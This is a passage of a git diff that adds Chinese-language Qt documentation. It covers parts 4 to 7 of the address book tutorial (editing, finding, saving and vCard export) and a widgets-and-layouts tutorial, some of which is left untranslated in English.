对象的启用和禁用。要实现上文提及的编辑和删除功能，我们还要增加两个新按钮：\c editButton 和 \c removeButton。 + + \snippet tutorials/addressbook/part4/addressbook.h updateInterface() declaration + \dots + \snippet tutorials/addressbook/part4/addressbook.h buttons declaration + \dots + \snippet tutorials/addressbook/part4/addressbook.h mode declaration + + 最后，我们声明 \c currentMode 来跟踪 enum 的当前模式。 + + \section1 应用 AddressBook 类 + + 我们现在必须应用地址簿应用程序的模式更改功能。\c editButton 和 \c removeButton 已实例化并默认为禁用，这是因为地址簿启动时在内存中没有联系人。 + + \snippet tutorials/addressbook/part4/addressbook.cpp edit and remove buttons + + 这些按钮会与其相应的槽 \c editContact() 和 \c removeContact() 关联，然后我们将其添加至 \c buttonLayout1。 + + \snippet tutorials/addressbook/part4/addressbook.cpp connecting edit and remove + \dots + \snippet tutorials/addressbook/part4/addressbook.cpp adding edit and remove to the layout + + 在将模式切换到 \c EditingMode 之前，\c editContact() 函数使用 \c oldName 和 \c oldAddress 储存联系人旧的详细信息。 在该模式下，\c submitButton 和 \c cancelButton 均已启用，这样用户就可以更改联系人的详细信息并可点击任何一个按钮。 + + \snippet tutorials/addressbook/part4/addressbook.cpp editContact() function + + \c submitContact() 函数已被 \c{if-else} 语句分为两部分。我们查看 \c currentMode 是否在 \c AddingMode 模式下。如果是，我们继续添加操作。 + + \snippet tutorials/addressbook/part4/addressbook.cpp submitContact() function beginning + \dots + \snippet tutorials/addressbook/part4/addressbook.cpp submitContact() function part1 + + 否则，我们查看 \c currentMode 是否在 \c EditingMode 模式下。如果是，我们比较 \c oldName 和 \c name。如果姓名已更改，我们从 \c contacts 中删除旧的联系人并插入已更新的联系人。 + + \snippet tutorials/addressbook/part4/addressbook.cpp submitContact() function part2 + + 如果仅更改了地址（例如 \c oldAddress 与 \c address 不同），我们就更新联系人的地址。最后，我们将 \c currentMode 设置为 \c NavigationMode。这一步至关重要，因为它会重新启用所有已禁用的按钮。 + + 要从地址簿中删除联系人，我们采用 \c removeContact() 函数。该函数查看 \c contacts 中是否包含该联系人。 + + \snippet tutorials/addressbook/part4/addressbook.cpp removeContact() function + + 如果有，我们显示 QMessageBox，确认用户的删除操作。一旦用户确认操作，我们调用 \c previous() 确保用户界面显示其他联系人，然后我们使用 QMap 的 \l{QMap::remove()}{remove()} 函数删除已已确认的联系人。出于好意，我们会显示 QMessageBox 提示用户。在该函数中使用两种信息框显示如下： + + \image addressbook-tutorial-part4-remove.png + + \section2 更新用户界面 + + 我们在上文提到 \c updateInterface() 函数，它可根据当前的模式启用和禁用按钮。该函数会根据传递给它的 \c mode 参数更新当前的模式，在校验值之前将参数分配给 \c currentMode。 + + 这样，每个按钮就根据当前的模式进行启用或禁用。\c AddingMode 和 \c EditingMode 的代码显示如下： + + \snippet tutorials/addressbook/part4/addressbook.cpp update interface() part 1 + + 不过对于 \c NavigationMode，我们在 QPushButton::setEnabled() 函数的参数中加入了条件。这样可确保 \c editButton 和 \c removeButton 在地址簿中至少有一个联系人的情况下启用，而 \c nextButton 和 \c previousButton 仅在地址簿中有多个联系人时才启用。 + + \snippet tutorials/addressbook/part4/addressbook.cpp update interface() part 2 + + 通过在同一函数中设置模式和更新用户界面，我们可以避免用户界面与应用程序内部状态不同步的可能性。 +*/ + +/*! + \page tutorials-addressbook-part5.html + \previouspage 地址簿 4 — 编辑和删除地址 + \contentspage {地址簿教程}{目录} + \nextpage {tutorials/addressbook/part6}{第六章} + \example tutorials/addressbook/part5 + \title 地址簿 5 — 添加查找功能 + + 在本章中，我们将了解如何在地址簿应用程序中定位联系人和地址。 + + \image addressbook-tutorial-part5-screenshot.png + + 随着我们不断为地址簿应用程序添加联系人，使用下一个和上一个按钮浏览联系人就会变得很繁琐。在这种情况下，使用查找函数查找联系人就会更加有效。上面的屏幕截图显示了查找按钮及其在按钮面板上的位置。 + + 当用户点击查找按钮时，有必要显示一个对话框，用户可在其中输入联系人的姓名。Qt 提供了 QDialog（我们会在本章中将其用作子类），可使用 \c FindDialog 类。 + + \section1 定义 FindDialog 类 + + \image addressbook-tutorial-part5-finddialog.png + + 要使用 QDialog 的子类，我们首先要在 \c finddialog.h 文件中声明 QDialog 的头信息。此外，我们还使用向前 (forward) 声明来声明 QLineEdit 和 QPushButton，这样我们就能在对话框类中使用这些 widget。 + + 因为在 \c AddressBook 类中，\c FindDialog 类包含了 Q_OBJECT 宏，并且其构造器已定义为接收父级 QWidget，即使对话框以单独的窗口方式打开。 + + \snippet tutorials/addressbook/part5/finddialog.h FindDialog header + + 我们定义了公有函数 \c getFindText()，供实例化 \c FindDialog 的类使用，这样这些类可以获取用户输入的文本。公有槽 \c findClicked() 定义为在用户点击\gui{查找}按钮时处理搜索字符串。 + + 最后，我们定义私有变量 \c findButton、\c lineEdit 和 \c findText，分别对应\gui{查找}按钮、用户输入搜索字符串的行编辑框和储存搜索字符串供稍后使用的内部字符串。 + + \section1 应用 FindDialog 类 + + 在 \c FindDialog 的构造器中，我们设置私有变量 \c lineEdit、\c findButton 和 \c findText。使用 QHBoxLayout 放置 widget。 + + \snippet tutorials/addressbook/part5/finddialog.cpp constructor + + 我们设定布局和窗口标题，并将信号与其各自的槽关联。请注意，\c findButton 的 \l{QPushButton::clicked()}{clicked()} 信号已与 \c findClicked() 和 \l{QDialog::accept()}{accept()} 关联。QDialog 提供的 \l{QDialog::accept()}{accept()} 槽会隐藏对话框并将结果代码设置为 \l{QDialog::}{Accepted}。我们使用该函数有助于 \c AddressBook 的 \c findContact() 函数知晓 \c FindDialog 对象关闭的时间。我们在讨论 \c findContact() 函数时将对该函数做进一步说明。 + + \image addressbook-tutorial-part5-signals-and-slots.png + + 在 \c findClicked() 中，我们验证 \c lineEdit 以确保用户没有在尚未输入联系人姓名时就点击\gui{查找}按钮。然后，我们将 \c findText 设置为从 \c lineEdit 提取的搜索字符串。之后，我们清空 \c lineEdit 的内容并隐藏对话框。 + + \snippet tutorials/addressbook/part5/finddialog.cpp findClicked() function + + \c findText 变量已有公有 getter 函数 \c getFindText() 与其相关联。既然我们仅在构造器和 \c findClicked() 函数中直接设定了 \c findText， 我们就不在创建 \c getFindText() 的同时再创建 setter 函数。由于 \c getFindText() 是公有的，实例化和使用 \c FindDialog 的类可始终读取用户已输入并确认的搜索字符串。 + + \snippet tutorials/addressbook/part5/finddialog.cpp getFindText() function + + \section1 定义 AddressBook 类 + + 要确保我们可使用 \c AddressBook 类中的 \c FindDialog，我们要在 \c addressbook.h 文件中包含 \c finddialog.h。 + + \snippet tutorials/addressbook/part5/addressbook.h include finddialog's header + + 至此，所有地址簿功能都有了 QPushButton 和对应的槽。同样，\gui{Find} 功能有 \c findButton 和 \c findContact()。 + + \c findButton 声明为私有变量，而 \c findContact() 函数声明为公有槽。 + + \snippet tutorials/addressbook/part5/addressbook.h findContact() declaration + \dots + \snippet tutorials/addressbook/part5/addressbook.h findButton declaration + + 最后，我们声明私有变量 \c dialog，用于引用 \c FindDialog 的实例。 + + \snippet tutorials/addressbook/part5/addressbook.h FindDialog declaration + + 在实例化对话框后，我们可能会对其进行多次使用。使用私有变量可在类中不同位置对其进行多次引用。 + + \section1 应用 AddressBook 类 + + 在 \c AddressBook 类的构造器中，实例化私有对象 \c findButton 和 \c findDialog： + + \snippet tutorials/addressbook/part5/addressbook.cpp instantiating findButton + \dots + \snippet tutorials/addressbook/part5/addressbook.cpp instantiating FindDialog + + 接下来，将 \c findButton 的 \l{QPushButton::clicked()}{clicked()} 信号与 \c findContact() 关联。 + + \snippet tutorials/addressbook/part5/addressbook.cpp signals and slots for find + + 现在唯一要完成的就是 \c findContact() 函数的编码： + + \snippet tutorials/addressbook/part5/addressbook.cpp findContact() function + + 我们从显示 \c FindDialog 的实例 \c dialog 开始入手。这时用户开始输入联系人姓名进行查找。用户点击对话框的 \c findButton 后，对话框会隐藏，并且结果代码设置为 QDialog::Accepted.这样就确保了 \c if 语句始终为真。 + + 然后，我们就开始使用 \c FindDialog 的 \c getFindText() 函数提取搜索字符串，这个字符串也就是本例中的 \c contactName。如果地址簿中有联系人，就立即显示该联系人。否则，显示如下所示的 QMessageBox 表明搜索失败。 + + \image addressbook-tutorial-part5-notfound.png +*/ + +/*! + \page tutorials-addressbook-part6.html + \previouspage 地址簿 5 — 添加查找功能 + \contentspage {地址簿教程}{目录} + \nextpage {tutorials/addressbook/part7}{第七章} + \example tutorials/addressbook/part6 + \title 地址簿 6 — 加载和保存 + + 本章描述了用于编写地址簿应用程序的加载和保存程序所使用的 Qt 文件处理功能。 + + \image addressbook-tutorial-part6-screenshot.png + + 虽然浏览和搜索联系人是非常实用的功能，但只有在可以保存现有联系人并可以在以后加载的前提下地址簿才真正完全可用。Qt 提供大量用于\l{Input/Output and Networking}{输入和输出}的类，但我们只选择两个易于合并使用的类：QFile 和 QDataStream。 + + QFile 对象表示磁盘上可读取和写入的文件。QFile 是代表多种不同设备且应用更广的 QIODevice 类的子类。 + + QDataStream 对象用于按顺序排列二进制数据，以便储存在 QIODevice 中并供以后检索。读取或写入 QIODevice 就如同打开数据流，然后读取或写入一样简单，只是参数为不同的设备。 + + + \section1 定义 AddressBook 类 + + 我们声明两个公有槽 \c saveToFile() 和 \c loadFromFile()，以及两个 QPushButton 对象 \c loadButton 和 \c saveButton。 + + \snippet tutorials/addressbook/part6/addressbook.h save and load functions declaration + \dots + \snippet tutorials/addressbook/part6/addressbook.h save and load buttons declaration + + \section1 应用 AddressBook 类 + + 在构造器中，我们实例化 \c loadButton 和 \c saveButton。理想情况下，将按钮标签设置为“从文件加载联系人”和“将联系人保存至文件”会更方便用户使用。不过，由于其他按钮的大小限制，我们将标签设置为\gui{加载...}和\gui{保存...}。幸运的是，Qt 提供了使用 \l{QWidget::setToolTip()}{setToolTip()} 来设置工具提示的简单方式，我们可通过如下方式将其用于按钮： + + \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 1 + \dots + \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2 + + 虽然此处没有显示，但与其他应用的功能一样，我们在右侧的布局面板 \c button1Layout 上添加按钮，然后将按钮的 \l{QPushButton::clicked()}{clicked()} 信号与其相应的槽关联。 + + 至于保存功能，我们首先使用 QFileDialog::getSaveFileName() 获取 \c fileName。 这是 QFileDialog 提供的一个便捷功能，可弹出样式文件对话框并允许用户输入文件名或选择现有的 \c{.abk} 文件。\c{.abk} 文件是保存联系人时创建的地址簿扩展名。 + + \snippet tutorials/addressbook/part6/addressbook.cpp saveToFile() function part1 + + 弹出的文件对话框屏幕截图显示如下： + + \image addressbook-tutorial-part6-save.png + + 如果 \c fileName 不为空，我们就使用 \c fileName 创建 QFile 对象 \c file。 QFile 与 QDataStream 一同使用，这是因为QFile 是 QIODevice。 + + 接下来，我们尝试以 \l{QIODevice::}{WriteOnly} 模式打开文件。如果未能打开，会显示 QMessageBox 提示用户。 + + \snippet tutorials/addressbook/part6/addressbook.cpp saveToFile() function part2 + + 否则，会用实例表示 QDataStream 对象 \c out，以写入打开的文件。QDataStream 要求读写操作需使用相同版本的数据流。在将数据按顺序写入 \c file 之前，将使用的版本设置为\l{QDataStream::Qt_4_5}{采用 Qt 4.5 的版本}就可确保版本相同。 + + \snippet tutorials/addressbook/part6/addressbook.cpp saveToFile() function part3 + + 至于加载功能，我们也是使用 QFileDialog::getOpenFileName() 获取 \c fileName。该函数与 QFileDialog::getSaveFileName() 相对应，也是弹出样式文件对话框并允许用户输入文件名或选择现有的 \c{.abk} 文件加载到地址簿中。 + + \snippet tutorials/addressbook/part6/addressbook.cpp loadFromFile() function part1 + + 例如，在 Windows 上，该函数弹出本地文件对话框，如以下屏幕截图所示。 + + \image addressbook-tutorial-part6-load.png + + 如果 \c fileName 不为空，还是使用 QFile 对象 \c file，然后尝试在 \l{QIODevice::}{ReadOnly} 模式下打开文件。与 \c saveToFile() 的应用方式类似，如果尝试失败，会显示 QMessageBox 提示用户。 + + \snippet tutorials/addressbook/part6/addressbook.cpp loadFromFile() function part2 + + 否则，会用实例表示 QDataStream 对象 \c in，按上文所述设置其版本，然后将按顺序排列的数据读入 \c contacts 数据结构。请注意，在将数据读入之前清空 \c contacts 可简化文件读取过程。更高级的方法是将联系人读取至临时 QMap 对象，然后仅复制 \c contacts 中不存在的联系人。 + + \snippet tutorials/addressbook/part6/addressbook.cpp loadFromFile() function part3 + + 要显示从文件中读取的联系人，必须要先验证获取的数据，以确保读取的文件实际包含地址簿联系人。如果为真，显示第一个联系人，否则显示 QMessageBox 提示出现问题。最后，我们更新界面以相应地启用和禁用按钮。 +*/ + +/*! + \page tutorials-addressbook-part7.html + \previouspage 地址簿 6 — 加载和保存 + \contentspage {地址簿教程}{目录} + \example tutorials/addressbook/part7 + \title 地址簿 7 — 附加功能 + + 本章讲述了部分可使地址簿应用程序日常使用更加便捷的附加功能。 + + \image addressbook-tutorial-part7-screenshot.png + + 虽然地址簿应用程序其自身功能已经很实用，但是如果可和其他应用程序互换联系人数据就会更加有益。vCard 格式是一种流行的文件格式，就可用于此目的。在本章中，我们会扩展地址簿客户端，可将联系人导出到 vCard \c{.vcf} 文件中。 + + \section1 定义 AddressBook 类 + + 我们在 \c addressbook.h 文件的 \c AddressBook 类中添加 QPushButton 对象 \c exportButton 以及对应的公有槽 \c exportAsVCard()。 + + \snippet tutorials/addressbook/part7/addressbook.h exportAsVCard() declaration + \dots + \snippet tutorials/addressbook/part7/addressbook.h exportButton declaration + + \section1 应用 AddressBook 类 + + 在 \c AddressBook 构造器中，我们将 \c exportButton 的 \l{QPushButton::clicked()}{clicked()} 信号连接至 \c exportAsVCard()。我们还会将该按钮添加至 \c buttonLayout1，它是负责右侧按钮面板的布局类。 + + 在 \c exportAsVCard() 函数中，我们从提取 \c name 中联系人姓名开始入手。我们声明 \c firstName、\c lastName 和 \c nameList。接下来，我们查找 \c name 中第一处空白的索引。如果有空白，就将联系人的姓名分隔为 \c firstName 和 lastName。然后，将空白替换为下划线 ("_")。或者，如果没有空白，就认定联系人只有名字。 + + \snippet tutorials/addressbook/part7/addressbook.cpp export function part1 + + 至于 \c saveToFile() 函数，会打开文件对话框，让用户选择文件的位置。通过选择的文件名称，我们创建要写入的 QFile 实例。 + + 我们尝试以 \l{QIODevice::}{WriteOnly} 模式打开文件。如果操作失败，会显示 QMessageBox 提示用户出现问题并返回。否则，将文件作为参数传递给 QTextStream 对象 \c out。与 QDataStream 类似，QTextStream 类提供了读取纯文本和将其写入到文件的功能。因此，所生成的 \c{.vcf} 文件可以在文本编辑器中打开进行编辑。 + + \snippet tutorials/addressbook/part7/addressbook.cpp export function part2 + + 然后，我们写出依次带有 \c{BEGIN:VCARD} 和 \c{VERSION:2.1} 标记的 vCard 文件。联系人的姓名使用 \c{N:} 标记写入。至于写入 vCard “File as”属性的 FN: 标记，我们必须要查看是否联系人带有姓。如果联系人有姓，就使用 \c nameList 中的详细信息填入该标记。否则，仅写入 \c firstName。 + + \snippet tutorials/addressbook/part7/addressbook.cpp export function part3 + + 我们继续写入联系人的地址。地址中的分号使用 "\\" 进行转义，新行使用分号进行替换，而逗号使用空白进行替换。最后，我们依次写入 \c{ADR;HOME:;}、\c address 和 \c{END:VCARD} 标记。 + + \snippet tutorials/addressbook/part7/addressbook.cpp export function part4 + + 最后，会显示 QMessageBox 提示用户已成功导出 vCard。 + + \e{vCard 是 \l{http://www.imc.org}{Internet Mail Consortium} 的商标}。 +*/ diff --git a/doc/src/zh_CN/tutorials/widgets-tutorial.qdoc b/doc/src/zh_CN/tutorials/widgets-tutorial.qdoc new file mode 100644 index 0000000..90ef4f3 --- /dev/null +++ b/doc/src/zh_CN/tutorials/widgets-tutorial.qdoc @@ -0,0 +1,244 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \page widgets-tutorial.html + \title Widgets 教程 + \brief This tutorial covers basic usage of widgets and layouts, showing how + they are used to build GUI applications. + + \startpage {index.html}{Qt Reference Documentation} + \contentspage 教程 + \nextpage {Widgets 教程 — 创建窗口} + + + \section1 简介 + + Widget 是使用 Qt 编写的图形用户界面 (GUI) 应用程序的基本生成块。每个 GUI 组件，如按钮、标签或文本编辑器，都是一个 widget ，并可以放置在现有的用户界面中或作为单独的窗口显示。每种类型的组件都是由 QWidget 的特殊子类提供的，而 QWidget 自身又是 QObject 的子类。 + + QWidget 不是一个抽象类；它可用作其他 widget 的容器，并很容易作为子类使用来创建定制 widget。它经常用来创建放置其他 widget 的窗口。 + + 至于 QObject，可使用父对象创建 widget 以表明其所属关系，这可确保删除不再使用的对象。使用 widget，这些父子关系就有了更多的意义：每个子类都显示在其父级所拥有的屏幕区域内。也就是说，当删除窗口时，其包含的所有 widget 也都自动删除。 + + \section1 Writing a main Function + + Many of the GUI examples in Qt follow the pattern of having a \c{main.cpp} + file containing code to initialize the application, and a number of other + source and header files containing the application logic and custom GUI + components. + + A typical \c main() function, written in \c{main.cpp}, looks like this: + + \snippet doc/src/snippets/widgets-tutorial/template.cpp main.cpp body + + We first construct a QApplication object which is configured using any + arguments passed in from the command line. After any widgets have been + created and shown, we call QApplication::exec() to start Qt's event loop. + Control passes to Qt until this function returns, at which point we return + the value we obtain from this function. + + In each part of this tutorial, we provide an example that is written + entirely within a \c main() function. In more sophisticated examples, the + code to set up widgets and layouts is written in other parts of the + example. For example, the GUI for a main window may be set up in the + constructor of a QMainWindow subclass. + + The \l{Widgets examples} are a good place to look for + more complex and complete examples and applications. + + \section1 Building Examples and Tutorials + + If you obtained a binary package of Qt or compiled it yourself, the + examples described in this tutorial should already be ready to run. + However, if you may wish to modify them and recompile them, you need to + perform the following steps: + + \list 1 + \o At the command line, enter the directory containing the example you + wish to recompile. + \o Type \c qmake and press \key{Return}. If this doesn't work, make sure + that the executable is on your path, or enter its full location. + \o On Linux/Unix and Mac OS X, type \c make and press \key{Return}; + on Windows with Visual Studio, type \c nmake and press \key{Return}. + \endlist + + An executable file should have been created within the current directory. + On Windows, this file may be located within a \c debug or \c release + subdirectory. You can run this file to see the example code at work. +*/ + +/*! + \page widgets-tutorial-toplevel.html + \contentspage {Widgets 教程}{目录} + \previouspage {Widgets 教程} + \nextpage {Widgets 教程 — Child Widgets} + \example tutorials/widgets/toplevel + \title Widgets 教程 — 创建窗口 + + 如果 widget 未使用父级进行创建，则在显示时视为窗口或\e{顶层 widget}。由于顶层 widget 没有父级对象类来确保在其不再使用时就删除，因此需要开发人员在应用程序中对其进行跟踪。 + + 在下例中，我们使用 QWidget 创建和显示具有默认大小的窗口： + + \raw HTML + <table align="left" width="100%"> + <tr class="qt-code"><td> + \endraw + \snippet tutorials/widgets/toplevel/main.cpp main program + \raw HTML + </td><td align="right"> + \endraw + \inlineimage widgets-tutorial-toplevel.png + \raw HTML + </td></tr> + </table> + \endraw + + To create a real GUI, we need to place widgets inside the window. To do + this, we pass a QWidget instance to a widget's constructor, as we will + demonstrate in the next part of this tutorial. +*/ + +/*! + \page widgets-tutorial-childwidget.html + \contentspage {Widgets 教程}{目录} + \previouspage {Widgets 教程 — 创建窗口} + \nextpage {Widgets 教程 — 使用布局} + \example tutorials/widgets/childwidget + \title Widgets 教程 — Child Widgets + + 我们可以通过将 \c window 作为父级传递给其构造器来向窗口添加子 widget。在这种情况下，我们向窗口添加按钮并将其放置在特定位置： + + \raw HTML + <table align="left" width="100%"> + <tr class="qt-code"><td> + \endraw + \snippet tutorials/widgets/childwidget/main.cpp main program + \raw HTML + </td><td align="right"> + \endraw + \inlineimage widgets-tutorial-childwidget.png + \raw HTML + </td></tr> + </table> + \endraw + + 该按钮现在为窗口的子项，并在删除窗口时一同删除。请注意，隐藏或关闭窗口不会自动删除该按钮。 +*/ + +/*! + \page widgets-tutorial-windowlayout.html + \contentspage {Widgets 教程}{目录} + \previouspage {Widgets 教程 — Child Widgets} + \nextpage {Widgets 教程 — Nested Layouts} + \example tutorials/widgets/windowlayout + \title Widgets 教程 — 使用布局 + + 通常，子 widget 是通过使用布局对象在窗口中进行排列，而不是通过指定位置和大小进行排列。在此处，我们构造要并排排列的标签和行编辑框 widget。 + + \raw HTML + <table align="left" width="100%"> + <tr class="qt-code"><td> + \endraw + \snippet tutorials/widgets/windowlayout/main.cpp main program + \raw HTML + </td><td align="right"> + \endraw + \inlineimage widgets-tutorial-windowlayout.png + \raw HTML + </td></tr> + </table> + \endraw + + 我们构造的布局对象管理通过 \l{QHBoxLayout::}{addWidget()} 函数提供的 widget 的位置和大小。布局本身是通过调用 \l{QWidget::}{setLayout()} 提供给窗口的。布局仅可通过其对所管理的 widget（和其他布局）的效果才可显示。 + + 在上文示例中，每个 widget 的所属关系并不明显。由于我们未使用父级对象构造 widget 和布局，我们会看到一个空窗口和两个包含了标签与行编辑框的窗口。不过，如果我们告知布局来管理标签和行编辑框，并在窗口中设置布局，两个 widget 与布局本身就都会成为窗口的子项。 +*/ + +/*! + \page widgets-tutorial-nestedlayouts.html + \contentspage {Widgets 教程}{目录} + \previouspage {Widgets 教程 — 使用布局} + \example tutorials/widgets/nestedlayouts + \title Widgets 教程 — Nested Layouts + + 由于 widget 可包含其他 widget，布局可用来提供按不同层次分组的 widget。这里，我们要在显示查询结果的表视图上方、窗口顶部的行编辑框旁，显示一个标签。 + + We achieve this by creating two layouts: \c{queryLayout} is a QHBoxLayout + that contains QLabel and QLineEdit widgets placed side-by-side; + \c{mainLayout} is a QVBoxLayout that contains \c{queryLayout} and a + QTableView arranged vertically. + + \raw HTML + <table align="left" width="100%"> + <tr class="qt-code"><td> + \endraw + \snippet tutorials/widgets/nestedlayouts/main.cpp first part + \snippet tutorials/widgets/nestedlayouts/main.cpp last part + \raw HTML + </td><td align="right"> + \endraw + \inlineimage widgets-tutorial-nestedlayouts.png + \raw HTML + </td></tr> + </table> + \endraw + + Note that we call the \c{mainLayout}'s \l{QBoxLayout::}{addLayout()} + function to insert the \c{queryLayout} above the \c{resultView} table. + + We have omitted the code that sets up the model containing the data shown + by the QTableView widget, \c resultView. For completeness, we show this below. + + 除了 QHBoxLayout 和 QVBoxLayout，Qt 还提供了 QGridLayout 和 QFormLayout 类来协助实现更复杂的用户界面。 + These can be seen if you run \l{Qt Designer}. + + \section1 Setting up the Model + + In the code above, we did not show where the table's data came from + because we wanted to concentrate on the use of layouts. Here, we see + that the model holds a number of items corresponding to rows, each of + which is set up to contain data for two columns. + + \snippet tutorials/widgets/nestedlayouts/main.cpp set up the model + + The use of models and views is covered in the + \l{Item Views Examples} and in the \l{Model/View Programming} overview. +*/ |
